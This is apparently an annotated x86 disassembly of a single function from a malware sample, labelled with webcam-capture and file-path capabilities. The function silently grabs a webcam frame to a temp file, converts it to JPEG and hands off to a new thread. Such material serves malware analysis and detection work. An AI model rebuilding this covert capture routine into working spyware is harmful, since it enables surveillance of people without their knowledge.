Function at 0x40bbc0
Capabilities:
Capture webcam image
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd00
mov eax, 0x441d14
push ebx
push esi
push edi
call fcn.0040e948
cmp dword [0x437c30], 1
je 0x40bbf0
xor eax, eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
jmp 0x40beff
push 0
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40bc0b
push 0
push 0
push 0x42a
push 0
call sub.USER32.DLL_SendMessageA
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40bc2e
push 0
push 0
push 0x43d
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
lea ecx, [ebp - 0x218]
push ecx
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
push str.pac001_
lea eax, [ebp - 0x218]
push eax
call fcn.0040e690
add esp, 8
lea edx, [ebp - 0x114]
push 0xc8
push 0
push edx
call fcn.0040e5ec
add esp, 0xc
lea ecx, [ebp - 0x218]
push ecx
lea eax, [ebp - 0x114]
push eax
call fcn.0040e690
add esp, 8
push str.wcapture.bmp
lea edx, [ebp - 0x218]
push edx
call fcn.0040e690
add esp, 8
mov word [ebp - 0x28], 8
push dword [0x44900c]
call sub.USER32.DLL_IsWindow
test eax, eax
je 0x40bcc1
lea ecx, [ebp - 0x218]
push ecx
push 0
push 0x419
push dword [0x44900c]
call sub.USER32.DLL_SendMessageA
mov word [ebp - 0x28], 0
jmp 0x40bcd4
mov dword [ebp - 0x228], 1
xor eax, eax
xor edx, edx
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], edx
xor ecx, ecx
lea eax, [ebp - 0x228]
mov dword [ebp - 0x21c], ecx
push 0
push eax
lea edx, [ebp - 0x3c]
push edx
call sub.GDIPLUS.DLL_GdiplusStartup
push 0x10
call sub.GDIPLUS.DLL_GdipAlloc
mov dword [ebp - 4], eax
test eax, eax
je 0x40bd5b
mov word [ebp - 0x28], 0x20
lea edx, [ebp - 0x218]
push edx
call fcn.00402ca5
pop ecx
mov ebx, eax
mov ecx, 0x43865c
mov eax, dword [ebp - 4]
mov dword [eax], ecx
mov edx, dword [ebp - 4]
xor ecx, ecx
mov dword [edx + 4], ecx
mov eax, dword [ebp - 4]
add eax, 4
push eax
push ebx
call sub.GDIPLUS.DLL_GdipLoadImageFromFile
mov edx, dword [ebp - 4]
mov dword [edx + 8], eax
mov word [ebp - 0x28], 0x14
mov edi, dword [ebp - 4]
jmp 0x40bd5e
mov edi, dword [ebp - 4]
push 0
push 0
push 0xfa
push 0x190
push edi
call fcn.00402e92
add esp, 0x14
mov ebx, eax
lea eax, [ebp - 0x238]
push eax
push str.image_jpeg
call fcn.00405a04
add esp, 8
push 0x44032e
lea edx, [ebp - 0x114]
push edx
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x114]
push ecx
call fcn.00402ca5
pop ecx
mov dword [ebp - 0x40], eax
push 0
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x40]
push dword [ebx + 4]
call sub.GDIPLUS.DLL_GdipSaveImageToFile
mov esi, eax
test esi, esi
je 0x40bdd0
mov dword [ebx + 8], esi
mov edx, esi
jmp 0x40bdd2
mov edx, esi
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], 0
je 0x40bdfc
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
mov word [ebp - 0x28], 0x38
push 3
mov eax, dword [ebp - 0xc]
push eax
mov edx, dword [eax]
call dword [edx]
mov word [ebp - 0x28], 0x2c
add esp, 8
mov dword [ebp - 0x14], edi
cmp dword [ebp - 0x14], 0
je 0x40be26
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x28], 0x50
push 3
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [edx]
call dword [ecx]
mov word [ebp - 0x28], 0x44
add esp, 8
push 0xc8
push 0
lea eax, [ebp - 0x300]
push eax
call fcn.0040e5ec
add esp, 0xc
lea edx, [ebp - 0x4c]
push 0xa
push 0
push edx
call fcn.0040e5ec
add esp, 0xc
lea ecx, [ebp - 0x4c]
push 0xa
push ecx
push dword [0x437c44]
call fcn.004136b8
add esp, 0xc
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.0040e690
add esp, 8
push 0x448a3c
lea edx, [ebp - 0x300]
push edx
call fcn.0040e690
add esp, 8
cmp dword [0x437c44], 0x86c8
jl 0x40be9a
mov dword [0x437c44], 0x86c4
inc dword [0x437c44]
push 0xc8
push 0
push 0x4481cc
call fcn.0040e5ec
add esp, 0xc
push 0x44032e
push 0x4481cc
call fcn.0040e690
add esp, 8
lea ecx, [ebp - 0x300]
push 0x80c
push ecx
push 0x448d5c
call fcn.004052dc
add esp, 0xc
push 0
push 0
push 0
push 0x40a868
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
xor eax, eax
mov edx, dword [ebp - 0x38]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret